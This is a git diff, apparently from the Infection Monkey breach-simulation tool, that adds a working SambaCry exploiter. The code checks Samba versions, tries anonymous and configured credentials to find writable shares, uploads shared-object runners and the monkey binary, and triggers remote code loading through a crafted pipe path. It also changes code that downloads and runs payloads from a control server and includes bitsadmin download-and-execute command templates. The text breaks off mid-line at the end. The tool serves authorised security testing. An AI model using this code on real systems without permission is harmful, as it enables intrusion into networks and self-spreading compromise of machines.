diff --git a/.gitignore b/.gitignore index 3a3119afd..403d090ad 100644 --- a/.gitignore +++ b/.gitignore @@ -67,3 +67,4 @@ bin /monkey_island/cc/server.key /monkey_island/cc/server.crt /monkey_island/cc/server.csr +monkey_island/cc/ui/node_modules/ diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a9007edb3..cfda27913 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,7 +1,8 @@ import os import sys from network.range import FixedRange, RelativeRange, ClassCRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\ + SambaCryExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta from itertools import product @@ -141,7 +142,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits - SSHExploiter, ShellShockExploiter # Linux + SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux ] # how many victims to look for in a single scan iteration @@ -219,10 +220,33 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" + # Timeout (in seconds) for sambacry's trigger to yield results. + sambacry_trigger_timeout = 5 + # Folder paths to guess share lies inside. + sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + # Shares to not check if they're writable. + sambacry_shares_not_to_check = ["IPC$", "print$"] + # Name of file which contains the monkey's commandline + sambacry_commandline_filename = "monkey_commandline.txt" + # Name of file which contains the runner's result + sambacry_runner_result_filename = "monkey_runner_result" + # SambaCry runner filename (32 bit) + sambacry_runner_filename_32 = "sc_monkey_runner32.so" + # SambaCry runner filename (64 bit) + sambacry_runner_filename_64 = "sc_monkey_runner64.so" + # Monkey filename on share (32 bit) + sambacry_monkey_filename_32 = "monkey32" + # Monkey filename on share (64 bit) + sambacry_monkey_filename_64 = "monkey64" + # Monkey copy filename on share (32 bit) + sambacry_monkey_copy_filename_32 = "monkey32_2" + # Monkey copy filename on share (64 bit) + sambacry_monkey_copy_filename_64 = "monkey64_2" + + # system info collection collect_system_info = True - ########################### # systeminfo config ########################### diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index cdeb47a76..2b440476c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -156,11 +156,80 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def download_monkey_exe_by_os(is_windows, is_32bit): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( + ControlClient.spoof_host_os_info(is_windows, is_32bit)) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def spoof_host_os_info(is_windows, is_32bit): + if is_windows: + os = "windows" + if is_32bit: + arch = "x86" + else: + arch = "amd64" + else: + os = "linux" + if is_32bit: + arch = "i686" + else: + arch = "x86_64" + + return \ + { + "os": + { + "type": os, + "machine": arch + } + } + + @staticmethod + def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: - return None + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host(host): + return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host_dict(host_dict): + if not WormConfiguration.current_server: + return None, None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), + data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -168,30 +237,17 @@ class ControlClient(object): result_json = reply.json() filename = result_json.get('filename') if not filename: - return None + return None, None size = result_json.get('size') - dest_file = monkeyfs.virtual_path(filename) - if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): - return dest_file - else: - download = requests.get("https://%s/api/monkey/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + return filename, size + else: + return None, None except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) - - return None + + return None, None @staticmethod def create_control_tunnel(): diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 4da753c72..6d4133557 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -6,9 +6,13 @@ import shutil import pprint import logging import subprocess +import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE + +from exploit.tools import build_monkey_commandline_explicitly +from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration +from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - self._monkey_args = args[1:] + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-p', '--parent') + arg_parser.add_argument('-t', '--tunnel') + arg_parser.add_argument('-s', '--server') + arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-l', '--location') + self.monkey_args = args[1:] + self.opts, _ = arg_parser.parse_known_args(args) + self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': args[0]} + 'destination_path': self.opts.location} def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): + + if self._config['destination_path'] is None: + LOG.error("No destination path specified") + return + # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) @@ -78,11 +95,19 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], - } + monkey_options = build_monkey_commandline_explicitly( + self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + else: + dest_path = self._config['destination_path'] + # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # runs the monkey + inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], + 'monkey_commandline': inner_monkey_cmdline} - if 0 != len(self._monkey_args): - monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args)) monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b8131fc61..4396cae34 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -58,9 +58,20 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "local_network_scan": true, "exploit_user_list": [], - "exploit_password_list" = [] + "exploit_password_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "sambacry_commandline_filename": "monkey_commandline.txt", + "sambacry_runner_result_filename": "monkey_runner_result", + "sambacry_runner_filename_32": "sc_monkey_runner32.so", + "sambacry_runner_filename_64": "sc_monkey_runner64.so", + "sambacry_monkey_filename_32": "monkey32", + "sambacry_monkey_filename_64": "monkey64", + "sambacry_monkey_copy_filename_32": "monkey32_2", + "sambacry_monkey_copy_filename_64": "monkey64_2", + "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1063e256d..1b12afd2f 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -20,3 +20,4 @@ from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter +from sambacry import SambaCryExploiter diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py new file mode 100644 index 000000000..22b3a3f2b --- /dev/null +++ b/chaos_monkey/exploit/sambacry.py @@ -0,0 +1,410 @@ +import logging +import re +import sys +import time +from io import BytesIO +from os import path +import itertools +import posixpath + +import impacket.smbconnection +from impacket.nt_errors import STATUS_SUCCESS +from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ + FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.smb import SessionError +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \ + SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE +from impacket.smbconnection import SMBConnection + +import monkeyfs +from exploit import HostExploiter +from model import DROPPER_ARG +from network.smbfinger import SMB_SERVICE +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class SambaCryExploiter(HostExploiter): + """ + SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py + """ + _target_os_type = ['linux'] + + def __init__(self): + self._config = __import__('config').WormConfiguration + + + def exploit_host(self, host, depth=-1, src_path=None): + if not self.is_vulnerable(host): + return False + + writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + LOG.info("Writable shares and their credentials on host %s: %s" % + (host.ip_addr, str(writable_shares_creds_dict))) + + host.services[SMB_SERVICE]["shares"] = {} + for share in writable_shares_creds_dict: + host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) + + # Wait for samba server to load .so, execute code and create result file. + time.sleep(self._config.sambacry_trigger_timeout) + + successfully_triggered_shares = [] + + for share in writable_shares_creds_dict: + trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + if trigger_result is not None: + successfully_triggered_shares.append((share, trigger_result)) + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + for share, fullpath in successfully_triggered_shares: + host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath + + if len(successfully_triggered_shares) > 0: + LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + return True + else: + LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + return False + + def try_exploit_share(self, host, share, creds, depth): + """ + Tries exploiting share + :param host: victim Host object + :param share: share name + :param creds: credentials to use with share + :param depth: current depth of monkey + """ + try: + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, depth) + self.trigger_module(smb_client, share) + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) + + def clean_share(self, ip, share, creds): + """ + Cleans remote share of any remaining files created by monkey + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + """ + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename, + self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64, + self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64, + self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64] + + for filename in file_list: + try: + smb_client.deleteFile(share, "\\%s" % filename) + except (impacket.smbconnection.SessionError, SessionError): + # Ignore exception to try and delete as much as possible + pass + smb_client.disconnectTree(tree_id) + smb_client.close() + + def get_trigger_result(self, ip, share, creds): + """ + Checks if the trigger yielded any result and returns it. + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + :return: result of trigger if there was one. None otherwise + """ + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_content = None + try: + file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename, + desiredAccess=FILE_READ_DATA) + file_content = smb_client.readFile(tree_id, file_id) + smb_client.closeFile(tree_id, file_id) + except (impacket.smbconnection.SessionError, SessionError): + pass + + smb_client.disconnectTree(tree_id) + smb_client.close() + return file_content + + def get_writable_shares_creds_dict(self, ip): + """ + Gets dictionary of writable shares and their credentials + :param ip: IP address of the victim + :return: Dictionary of writable shares and their corresponding credentials. + """ + writable_shares_creds_dict = {} + credentials_list = self.get_credentials_list() + + for credentials in credentials_list: + try: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) + + # don't try shares we can already write to. + for share in [x for x in shares if x not in writable_shares_creds_dict]: + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials + + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + # If failed using some credentials, try others. + pass + + return writable_shares_creds_dict + + def get_credentials_list(self): + user_password_pairs = self._config.get_exploit_user_password_pairs() + + # Add empty credentials for anonymous shares. + credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + for user, password in user_password_pairs: + credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + + return credentials_list + + def list_shares(self, smb_client): + shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] + + def is_vulnerable(self, host): + """ + Checks whether the victim runs a possibly vulnerable version of samba + :param host: victim Host object + :return: True if victim is vulnerable, False otherwise + """ + if SMB_SERVICE not in host.services: + LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) + return False + + pattern = re.compile(r'\d*\.\d*\.\d*') + smb_server_name = host.services[SMB_SERVICE].get('name') + samba_version = "unknown" + pattern_result = pattern.search(smb_server_name) + is_vulnerable = False + if pattern_result is not None: + samba_version = smb_server_name[pattern_result.start():pattern_result.end()] + samba_version_parts = samba_version.split('.') + if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % + (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) + + return is_vulnerable + + def is_share_writable(self, smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ + LOG.debug('Checking %s for write access' % share) + try: + tree_id = smb_client.connectTree(share) + except (impacket.smbconnection.SessionError, SessionError): + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except (impacket.smbconnection.SessionError, SessionError): + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + def upload_module(self, smb_client, host, share, depth): + """ + Uploads the module and all relevant files to server + :param smb_client: smb client object + :param host: victim Host object + :param share: share name + :param depth: current depth of monkey + """ + tree_id = smb_client.connectTree(share) + + with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) + + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read) + + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) + + monkey_bin_32_src_path = get_target_monkey_by_os(False, True) + monkey_bin_64_src_path = get_target_monkey_by_os(False, False) + + with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read) + + with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) + + smb_client.disconnectTree(tree_id) + + def connect_to_server(self, ip, credentials): + """ + Connects to server using given credentials + :param ip: IP of server + :param credentials: credentials to log in with + :return: SMBConnection object representing the connection + """ + smb_client = SMBConnection(ip, ip) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + return smb_client + + def trigger_module(self, smb_client, share): + """ + Tries triggering module + :param smb_client: smb client object + :param share: share name + :return: True if might triggered successfully, False otherwise. + """ + trigger_might_succeeded = False + module_possible_paths = self.generate_module_possible_paths(share) + for module_path in module_possible_paths: + trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) + + return trigger_might_succeeded + + def trigger_module_by_path(self, smb_client, module_path): + """ + Tries triggering module by path + :param smb_client: smb client object + :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" + :return: True if might triggered successfully, False otherwise. + """ + + try: + # the extra / on the beginning is required for the vulnerability + self.open_pipe(smb_client, "/" + module_path) + except (impacket.smbconnection.SessionError, SessionError) as e: + # This is the expected result. We can't tell whether we succeeded or not just by this error code. + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + return True + else: + pass + + return False + + def generate_module_possible_paths(self, share_name): + """ + Generates array of possible paths + :param share_name: Name of the share + :return: Array of possible full paths to the module. + """ + sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess + file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] + return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)] + + def get_monkey_runner_bin_file(self, is_32bit): + if is_32bit: + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb") + else: + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") + + + def get_monkey_commandline_file(self, host, depth, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) + + # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + + packet = smb_client.getSMBServer().SMB_PACKET() + packet['Command'] = SMB2_CREATE + packet['TreeID'] = treeId + if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: + packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + + smb2Create = SMB2Create() + smb2Create['SecurityFlags'] = 0 + smb2Create['RequestedOplockLevel'] = oplockLevel + smb2Create['ImpersonationLevel'] = impersonationLevel + smb2Create['DesiredAccess'] = desiredAccess + smb2Create['FileAttributes'] = fileAttributes + smb2Create['ShareAccess'] = shareMode + smb2Create['CreateDisposition'] = creationDisposition + smb2Create['CreateOptions'] = creationOptions + + smb2Create['NameLength'] = len(fileName) * 2 + if fileName != '': + smb2Create['Buffer'] = fileName.encode('utf-16le') + else: + smb2Create['Buffer'] = '\x00' + + if createContexts is not None: + smb2Create['Buffer'] += createContexts + smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] + smb2Create['CreateContextsLength'] = len(createContexts) + else: + smb2Create['CreateContextsOffset'] = 0 + smb2Create['CreateContextsLength'] = 0 + + packet['Data'] = smb2Create + + packetID = smb_client.getSMBServer().sendSMB(packet) + ans = smb_client.getSMBServer().recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + createResponse = SMB2Create_Response(ans['Data']) + + # The client MUST generate a handle for the Open, and it MUST + # return success and the generated handle to the calling application. + # In our case, str(FileID) + return str(createResponse['FileID']) + + def open_pipe(self, smb_client, pathName): + # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # to make things easier for the caller. Not this time ;) + treeId = smb_client.connectTree('IPC$') + LOG.debug('Triggering path: %s' % pathName) + + if smb_client.getDialect() == SMB_DIALECT: + _, flags2 = smb_client.getSMBServer().get_flags() + + pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + + ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() + ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength'] = len(pathName) + ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA + ntCreate['Parameters']['FileAttributes'] = 0 + ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ + ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE + ntCreate['Parameters']['CreateOptions'] = FILE_OPEN + ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION + ntCreate['Parameters']['SecurityFlags'] = 0 + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = pathName + + if flags2 & SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) + else: + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 307cbfa02..e23818f4d 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,7 +1,7 @@ import sys from logging import getLogger from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey @@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index b6cee68ac..2e8aa4fa5 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -443,26 +443,46 @@ def get_target_monkey(host): return monkey_path -def build_monkey_commandline(target_host, depth): - from config import WormConfiguration, GUID +def get_target_monkey_by_os(is_windows, is_32bit): + from control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): cmdline = "" - cmdline += " -p " + GUID - if target_host.default_tunnel: - cmdline += " -t " + target_host.default_tunnel - if target_host.default_server: - cmdline += " -s " + target_host.default_server - if depth < 0: - depth = 0 - - cmdline += " -d %d" % depth + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location return cmdline +def build_monkey_commandline(target_host, depth, location=None): + from config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password}) + + +def get_binaries_dir_path(): + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 02f144851..a372070a8 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -12,7 +12,7 @@ import socket from enum import IntEnum from logging import getLogger from model.host import VictimHost -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from . import HostExploiter from exploit.tools import SmbTools, get_target_monkey from network.tools import check_port_tcp @@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 8b4231793..298ec5436 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -3,7 +3,7 @@ import ntpath import logging import traceback from tools import build_monkey_commandline -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model.host import VictimHost from exploit import HostExploiter from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login @@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 67c06bf47..1296570e1 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -4,10 +4,12 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" -DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) +GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' +DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % 